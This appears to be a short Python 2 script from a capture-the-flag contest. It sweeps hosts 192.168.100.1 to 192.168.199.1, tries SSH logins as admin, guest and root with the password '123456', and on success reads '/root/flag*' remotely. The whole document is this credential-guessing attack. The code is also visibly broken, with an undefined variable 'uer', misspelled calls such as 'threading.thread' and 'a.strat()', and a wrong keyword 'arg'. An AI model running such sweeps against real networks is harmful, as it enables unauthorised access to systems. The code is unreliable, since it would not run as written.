1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #!/usr/bin/env python #-*- coding:utf-8 -*- import paramiko import threading from time import ctime,sleep def ssh(): usernm = ["admin","guest","root"] ip = "192.168.%s.1"%i for user in usernm: try: s=paramiko.SSHClient() s.load_system_host_keys() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.connect(hostname=ip,username=user,password='123456') stdin,stdout,stderr = s.exec_command('cat /root/flag*') print "192.168.%s.1 USER:[%s] Time:[%s]"%(i,uer,ctime()) dd = stdout.read() print dd stdin,stdout,stderr = s.exec_command('exit') s.close if dd != None: dd = None break except: pass
for i in range(100,200): a=threading.thread(target=ssh,arg=()) sleep(0.1) a.strat()
|